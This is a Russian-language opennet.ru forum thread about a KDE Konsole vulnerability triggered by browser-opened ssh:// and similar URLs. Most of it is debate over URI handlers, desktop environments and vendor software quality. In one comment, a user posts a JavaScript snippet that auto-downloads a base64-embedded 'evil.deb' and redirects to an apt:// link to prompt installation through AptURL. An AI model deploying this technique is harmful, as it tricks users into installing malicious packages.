Сообщение от fidoman (ok), 17-Июн-25, 10:49

bash да, отличная замена для ssh.
В каких головах такие технические решения рождаются?
Просто чтобы не заморачиваться с сообщением об ошибке пользователю что ли?

Ответить | Правка | Наверх | Cообщить модератору

121. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (121), 18-Июн-25, 08:47

Не работает, Konsole 24.08.1. Упорно вылетает окошко portal "Choose an application to open 'rlogin'", в /tmp ничего нового не появляется..

Ответить | Правка | Наверх | Cообщить модератору

127. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Соль земли2 (?), 19-Июн-25, 13:33

У меня браузер сто лет уже по умолчанию спрашивает, что делать с файлом. Я ещё тогда подумал "Зачем? И так понятно, что хочу скачать.". Теперь понял зачем.

Ответить | Правка | Наверх | Cообщить модератору

128. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Соль земли2 (?), 19-Июн-25, 13:37

Но вообще бывало, что сайты без спросу могут пытаться начать что-то скачивать. Поэтому форма с запросом действия - этакий блокировщик.
Ещё я создаю в Firefox второй пустой профиль, только чтобы при запуска Firefox всегда выводил окно с выбором профиля, а не открывал сайт по запросу какой-то программы.

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

2. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+13 +/–
Сообщение от Аноним (2), 15-Июн-25, 23:19
У меня больше вопрос в другом. Зачем это вообще в браузере? Кто и на... запускает telnet и ssh через браузер?
Ответить \| Правка \| Наверх \| Cообщить модератору


	4. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+6 +/–
	Сообщение от Аноним (4), 15-Июн-25, 23:37
	Ты лучше спроси зачем в браузере URL ghelp:// :-) https://opennet.ru/63035-gnome Хороши, что KDE, что GNOME, что дистрибутивы, регистрирующие кучу MIME-типов. PS. В Firefox в about:preferences#general в поле поиска набери Applications, там полно всего, включая irc и apt. Как насчёт провернуть подобную атаку для установки левого пакета через apt?
	Ответить \| Правка \| Наверх \| Cообщить модератору


	6. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+13 +/–
	Сообщение от Аноним (4), 15-Июн-25, 23:45
	Блин, а оно ведь сработало! В Ubuntu Firefox и Chrome загружают автоматом deb-пакет, а потом выводят запрос типа "Allow this site to open the apt link with AptURL?" Скрипт поправил так: function downloadAndRedirect() { const anchor = document.createElement('a'); anchor.href = "data:;base64,содержимое deb-пакета в base64"; anchor.download = 'evil.deb'; document.body.appendChild(anchor); anchor.click(); document.body.removeChild(anchor); setTimeout(() => { window.location.href = "apt:///proc/self/cwd/Downloads/evil.deb"; }, 1000); }
	Ответить \| Правка \| Наверх \| Cообщить модератору


	66. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от Аноним (66), 16-Июн-25, 13:26
	Но оно же не устанавливает пакет автоматом при открытии ссылки, а показывает окно с инфой о пакете и опцией его установить? Так для этого достаточно просто http-ссылки на deb-пакет без фокусов с перенаправлением на "apt://", стандартное скачать и открыть файл.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	122. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от Аноним (122), 18-Июн-25, 09:32
	Блин, я думал это фича о_О
	Ответить \| Правка \| Наверх \| Cообщить модератору


	10. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+1 +/–
	Сообщение от 12yoexpert (ok), 15-Июн-25, 23:52
	> Ты лучше спроси зачем в браузере URL ghelp:// зачем тебе в браузере URL ghelp://?
	Ответить \| Правка \| К родителю #4 \| Наверх \| Cообщить модератору


	40. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от Аноним (40), 16-Июн-25, 08:23
	тор браузер посылает эти типы куда подальше. (можно пользоватся без тора если что)
	Ответить \| Правка \| К родителю #4 \| Наверх \| Cообщить модератору


	7. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+3 +/–
	Сообщение от jj (?), 15-Июн-25, 23:45
	Давным давно запускал, очень удобно когда у тебя счет железок на тысячи, или по вашему хранить ip надо в txt или exel.
	Ответить \| Правка \| К родителю #2 \| Наверх \| Cообщить модератору


	89. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	–1 +/–
	Сообщение от Аноним (89), 16-Июн-25, 21:06
	> удобно когда у тебя счет железок на тысячи Так как раз же неудобно. Когда счёт идёт даже на десятки, уже неудобно вручную админить, а ты тут про тысячи заливаешь. Автоматизация — слыхал про такое? Пушишь в гит что нужно, а дальше оно само. > или по вашему хранить ip надо в txt или exel. IP надо хранить в DNS, и иметь схему которая позволяет зная где сервер скрафтить его доменное имя. Это если тебе надо куда-то конкретно попасть. А для IPAM надо специализированный софт использовать, да хоть тот же NetBox. Если только у тебя не один /23 или что-то такое же смешное. С таким действительно проще CSV или эксельку, котрые уже читать скриптом и генерить имена устройствам.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	8. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+3 +/–
	Сообщение от oficsu (ok), 15-Июн-25, 23:47
	Это всё стандартные uri-хендлеры, которые могут открываться не только из браузера. Лучшее, что нармальный браузер может сделать (и делает, естественно) — это спросить, хочет ли пользователь запускать соответствующий хендлер. Будь это tel://, magnet:// или ssh:// — это дело пользователя, что он хочет открывать, а не браузера А ssh://, очевидно, является полезным обработчиком. Например, можно хотеть логиниться на сервер из менеджера паролей в один клик. И не важно, выступает ли этимм менеджером KeePassXC, какой-то вебапп на электроне или вообще корпоративная страничка в браузере с полным списком серверов и паролей. Пользователю нужно открыть ssh-доступ из приложения — он соглашется
	Ответить \| Правка \| К родителю #2 \| Наверх \| Cообщить модератору


	16. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от Аноним (16), 16-Июн-25, 04:13
	Да зачем вообще нужны программы, пусть уже всё браузер делает. Браузера хватит всем...
	Ответить \| Правка \| Наверх \| Cообщить модератору


	34. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от Аноним (34), 16-Июн-25, 05:30
	Всё есть урл.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	55. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+3 +/–
	Сообщение от Аноним (55), 16-Июн-25, 10:46
	>пусть уже всё браузер делает Вам прямо сказали, что дело не в браузере, а вы опять бочку на браузер катите.
	Ответить \| Правка \| К родителю #16 \| Наверх \| Cообщить модератору


	53. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от Аноним (55), 16-Июн-25, 10:44
	>Зачем это вообще в браузере? Типичный сторонник жирных браузеров. В браузере ничего нет - есть гиперссылка, с протоколом. Браузер передаёт эту ссылку в систему, система самостоятельно находит обработчик. >Кто и на... запускает telnet и ssh через браузер? Кдешнки. Не вечно же на гномеров бочку катить.
	Ответить \| Правка \| К родителю #2 \| Наверх \| Cообщить модератору


	97. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+1 +/–
	Сообщение от Аноним (97), 16-Июн-25, 21:43
	>Браузер передаёт эту ссылку в систему, система самостоятельно находит обработчик. Браузер недолжен делать НИЧЕГО. Не поддерживается схема браузером - игнор, и не надо ничего открывать. Юзер сам допрёт, что со схемой ssh:// делать.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	116. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от Аноним (55), 17-Июн-25, 12:53
	Вам надо - вы и отключайте. Или поместите браузер в контейнер, благо это элементарно делается.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	59. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от User (??), 16-Июн-25, 11:07
	Ну вот на прошлом месте работы в cmdb урлики для подключения к линуксячьим нодам по ssh и вроде даже к виндовым по rdp (или там просто файлики? Не помню уже) автоматически генерились, всем нравилось. Нет, встречались любители руками в цонцоле колотить или там из файла "пороли.тхт" мышкой копировать - но это что-то постыдное было).
	Ответить \| Правка \| К родителю #2 \| Наверх \| Cообщить модератору

3. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	–11 +/–
Сообщение от 12yoexpert (ok), 15-Июн-25, 23:32
ну а что вы хотели от тимы, в которую вместо инженеров набрали эффективненьких самопиарщиков типа нэта грема
Ответить \| Правка \| Наверх \| Cообщить модератору


	17. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	–9 +/–
	Сообщение от Аноним (17), 16-Июн-25, 04:26
	это не самопиар, а самообман - сообщество™ разработчиков кде по определению не может обеспечить качество на уровне корпоративного продукта единственная надежда у поклонников проекта кде заключается в том, что Габен и ко. возьмут кодовую базу этой СРС под свой контроль, то есть под контроль программистов на зарплате но зачем ждать, когда уже сейчас можно просто пользоваться GNOME? (:
	Ответить \| Правка \| Наверх \| Cообщить модератору


	33. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+4 +/–
	Сообщение от МИСАКА (?), 16-Июн-25, 05:27
	Сейчас бы пользоваться поделием, которое считает юзера за идиота и не может решить, хочет оно пародировать макось или иось
	Ответить \| Правка \| Наверх \| Cообщить модератору


	36. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	–2 +/–
	Сообщение от Аноним (17), 16-Июн-25, 06:49
	пользуюсь с удовольствием) а пародировать они могут хоть TempleOS, лишь бы удобно было работать
	Ответить \| Правка \| Наверх \| Cообщить модератору


	46. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+1 +/–
	Сообщение от nv (?), 16-Июн-25, 09:43
	Смешно такое читать на фоне того, как nvidia с капитализацией 3трлн $ не в состоянии нормально написать и протестировать драйвера и свой основной софт. Или MS c капиталиецией 2трлн $ постоянно сокращают топовых инженеров и в разработке софта делают упор на добавление фич, а стабильность уходит на второй план.
	Ответить \| Правка \| К родителю #17 \| Наверх \| Cообщить модератору


	54. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+1 +/–
	Сообщение от serg (??), 16-Июн-25, 10:46
	в копилку: скачайте и поставьте расширение в вбокс 7.1.10 Наркоманы на работе. Видимо теперь это норма.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	60. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+1 +/–
	Сообщение от User (??), 16-Июн-25, 11:31
	Даже интересно, сколько из этой суммы они должны по вашему мнению потратить на реализацию хотелок 0 целых хрен десятых любителей nvidia лохматой версии на коре дуба от 0 хрен десятых любителей wayland'а на десктопе от аж целых 4х процентов пользователей? При том, что деньги они получают от крупных оем производителей (которым на эти хотелки тоже пофиг), а не от уаси-в-рассыпуху и вообще основной профит идёт не с этого рынка...
	Ответить \| Правка \| К родителю #46 \| Наверх \| Cообщить модератору


	62. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	–1 +/–
	Сообщение от Аноним (55), 16-Июн-25, 12:52
	Это системная проблема. Можно было бы сказать, что невидевские карточки для виндузятников, если бы у них не горели разъёмы. А так, им всё равно - разъём сгорит или под вейлендом работать не будет. С виндой аналогично - качество винды падает, но виндузятников как всегда волнует только процент вейленда на десктопе линуксоидов.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	71. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от User (??), 16-Июн-25, 14:19
	С тем, что в индустрии есть системная проблема, связанная с нелинейным характером зависимости сложности системы от размера кодовой базы в общем-то никто и не спорит. Вопрос в том, сколько на решение частного случая проблемы 1,5% пользователей должна потратить компания, с учетом того, что эти 1,5% будут еще и "немножко вредить" своим штабле нонсенсом, ага.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	108. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от Аноним (55), 17-Июн-25, 10:32
	>связанная с нелинейным характером зависимости сложности системы от размера кодовой базы Будь зависимость линейна, прогресс давным давно бы остановился, так как новые вещи были бы слишком сложными. >Вопрос в том, сколько на решение частного случая проблемы 1,5% пользователей должна потратить компания Вы удивительны - вам жалко многомиллиардную компанию, что ей, бедной несчастной, оказывается надо деньги тратить, на качество товара. Удивительно, как это интел и амд справляются? Только вот чем больше пользователи прощают компании проблем, тем меньше она будет в качество своего товара вкладываться. Разъёмы горят(https://habr.com/ru/companies/x-com/articles/899528/) - ничего страшного. Драйвера окирпичивают карты(https://habr.com/ru/companies/x-com/articles/892620/) - нормально. Самое главное, что невидия ни цента на вейленд не потратила.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	118. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от User (??), 17-Июн-25, 16:10
	>>связанная с нелинейным характером зависимости сложности системы от размера кодовой базы > Будь зависимость линейна, прогресс давным давно бы остановился, так как новые вещи > были бы слишком сложными. Ну... "Если бы земля была круглой - мы бы с неё падали!" - тоже вывод, в общем-то. Даже я бы сказал, логичный. >>Вопрос в том, сколько на решение частного случая проблемы 1,5% пользователей должна потратить компания > Вы удивительны - вам жалко многомиллиардную компанию, что ей, бедной несчастной, оказывается > надо деньги тратить, на качество товара. Удивительно, как это интел и > амд справляются? Только вот чем больше пользователи прощают компании проблем, тем > меньше она будет в качество своего товара вкладываться. Разъёмы горят(https://habr.com/ru/companies/x-com/articles/899528/) > - ничего страшного. Драйвера окирпичивают карты(https://habr.com/ru/companies/x-com/articles/892620/) > - нормально. Самое главное, что невидия ни цента на вейленд не > потратила. Удивительная ситуация - люди вроде как умеют писать (Совершеннейшую ерунду, как правило. О том, как "хорошо" справляется с обеспечением качества Intel разве что в криокамере не прокричали), но совершенно не умеют читать. Нет, отдельные буквы и даже слова таки да - а вот с пониманием смысла прочитанного - проблемочки. Вас в третий раз спрашивают - СКОЛЬКО ПО ВАШЕМУ МНЕНИЮ Nvidia ДОЛЖНА ПОТРАТИТЬ НА РЕШЕНИЕ ПРОБЛЕМЫ? А вы вместо ответа на вопрос делаете изумительные выводы о мотивации собеседника.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	81. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от Аноним (-), 16-Июн-25, 18:02
	> nvidia с капитализацией 3трлн $ не в состоянии нормально написать > и протестировать драйвера и свой основной софт Вот как раз потому что они не тратять время на всяких четырепроцентников - у них капитализация 3трлн$. Потому что нужно приавильно расставлять приоритеты. > а стабильность уходит на второй план. А им не нужна стабильность. Им нужно быть стабильнее чем конкуренты. И пока они обгоняют дестопный линь с огромным отрывом)))
	Ответить \| Правка \| К родителю #46 \| Наверх \| Cообщить модератору


	90. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..."	+/–
	Сообщение от Аноним (89), 16-Июн-25, 21:10
	> постоянно сокращают топовых инженеров Топовых как раз не сокращают, инфа сотка. Под нож идёт балласт. Почему такая происходит очевидно. И нет, не потому что эффектиные менеджеры.
	Ответить \| Правка \| К родителю #46 \| Наверх \| Cообщить модератору